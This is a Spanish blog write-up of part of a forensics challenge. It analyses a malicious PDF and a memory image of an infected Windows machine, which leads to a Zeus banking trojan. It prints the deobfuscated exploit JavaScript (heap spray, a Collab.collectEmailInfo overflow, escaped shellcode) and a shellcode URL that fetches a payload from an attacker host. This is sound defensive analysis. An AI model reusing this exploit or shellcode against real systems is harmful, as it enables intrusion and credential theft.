Forensic Challenge 2010 – Tercer desafío forense (2 de 3)
El primer paso es tratar de identificar el objeto del archivo que contiene el código malicioso y extraerlo del archivo para analizarlo con Spidermonkey:
python pdf-parser.py --search javascript --raw 00600328.pdf
obj 11 0
Type:
Referencing: 1054 0 R
<</S/JavaScript/JS 1054 0 R>>
<<
/S /JavaScript
/JS 1054 0 R
>>
python pdf-parser.py --object 11 00600328.pdf
obj 11 0
Type:
Referencing: 1054 0 R
[(1, '\r\n'), (2, '<<'), (2, '/S'), (2, '/JavaScript'), (2, '/JS'), (1, ' '), (3, '1054'), (1, ' '), (3, '0'), (1, ' '),
(3, 'R'), (2, '>>'), (1, '\r\n')]
<<
/S /JavaScript
/JS 1054 0 R
>>
python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js
Después de esto necesitamos un paso adicional, modificando el código Javascript del archivo "malicious.js" para eliminar contenido innecesario y después ejecutarlo con la versión modificada de Spidermonkey:
js malicious.js
malicious.js:1: ReferenceError: app is not defined
Este error sugiere que la referencia a "object app" podría ser un exploit para Acrobat Reader. Echando un vistazo a los logs que se han generado
cat eval.001.log
function OzWJi(rzRoI,fxLUb){
while(rzRoI.length*2<fxLUb){
rzRoI+=rzRoI;
}
return rzRoI.substring(0,fxLUb/2);
}
function bSuTN(){
var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u
8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\
u5756\u738B
\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\u
F238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u
8B48\u1C56\uD303\u048
B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF7
8B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u75
68\u6C72\u546D\u8EB8\u0E
4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A
\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u
7468\u7074\u2F3A\u7
32F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616
F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u7
26F\u7265\u3620\u
302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");
var HWXsi=202116108;
var ZkzwV=[];
var HsVTm=4194304;
var EgAxi=Uueqk.length*2;
var fxLUb=HsVTm-(EgAxi+0x38);
var rzRoI=sly("\u9090\u9090");
rzRoI=OzWJi(rzRoI,fxLUb);
var tfFQG=(HWXsi-4194304)/HsVTm;
for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){
ZkzwV[gtqHE]=rzRoI+Uueqk;
}
var eHmqR=sly("\u0c0c\u0c0c");
while(eHmqR.length<44952)
eHmqR+=eHmqR;
this.collabStore=Collab.collectEmailInfo({subj:"",msg:eHmqR});
}
function Soy(){
var dwl=new Array();
function ppu(BtM,dqO){
while(BtM.length*2<dqO){
BtM+=BtM;
}
BtM=BtM.substring(0,dqO/2);
}
return rzRoI.substring(0,fxLUb/2);
}
Voy a omitir el contenido restante del archivo de logs porque con lo obtenido ya tenemos suficiente información, y además no podemos analizar el código por completo utilizando Spidermonkey. Parece que el código llama al exploit correcta basándose en la versión del visor. Un simple vistazo revela el contenido de las funciones:
Function: Soy()
Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability exploit
Reference: http://www.securityfocus.com/bid/3003
Function: bSuTN()
Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities
exploit
Reference: http://www.securityfocus.com/bid/27641/info
Con esta información podemos prepar un archivo con el shellcode y ejecutarlo (no lo reproduciré por motivos obvios):
function OzWJi(rzRoI,fxLUb){
while(rzRoI.length*2<fxLUb){
rzRoI+=rzRoI;
}
return rzRoI.substring(0,fxLUb/2);
}
Analizando el log generado con un editor hexadecimal:
00000000 ..3.d.@0x..@..p...X....@4.@|.X<jDZ..
00000024 +....OZR..V.U.VW.s<.t3x..V.v ..3.IPA
00000048 .3.6....8.t......@..X;.u.^.F$..f..H.
0000006C V........_^P..}.WR.3..[.....2.....O.
00000090 e.ex.f.f..l...Phon.dhurlmT..N...U..P
000000B4 3.PPV.U......1RP.6./p.U.[3.WV......U
000000D8 .W....`.U.http://search-network-plus
000000FC .com/load.php?a=a&st=Internet Explor
00000120 er 6.0&e=2..%.0.%.0.%.0.%.0.%.0.%.0.
encontramos una url conocida de los apartados 2 y 3:
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
Parece que el parámetro "e" es usado para seleccionar el exploit correcto para entregar al host atacado. En nuestro caso, el parámetro es 2.
7. Enumera los archivos sospechosos que fueron descargados por cualquier proceso en el ordenador de la víctima. De esta información, ¿cuál pudo ser un payload del exploit inicial que podría afectar a la cuenta bancaria de la víctima?
Ejecutando el comando files de Volatility, loas archivos cargados en el ordenador de la víctima pueden ser vistos con su PID asociado:
python volatility files -f Bob.vmem > files
Como vemos, el proceso con PID 644, que era winlogon.exe, tiene un ejecutable cargado en memoria que parece ser sospehoso:
File \WINDOWS\system32\sdra64.exe
Haciendo una búsqueda en Google, vemos diversas referencias que nos aclaran el posible payload usado:
Según la información encontrada, Zeus se inyecta inicialmente en el archivo winlogon.exe e infecta el primer proceso real de svchost que encuentra. Puesto que Zeus es un troyano diseñado para robar credenciales bancarias, la víctima tendrá problemas en este sentido.
Comparte este artículo
Comentarios (0)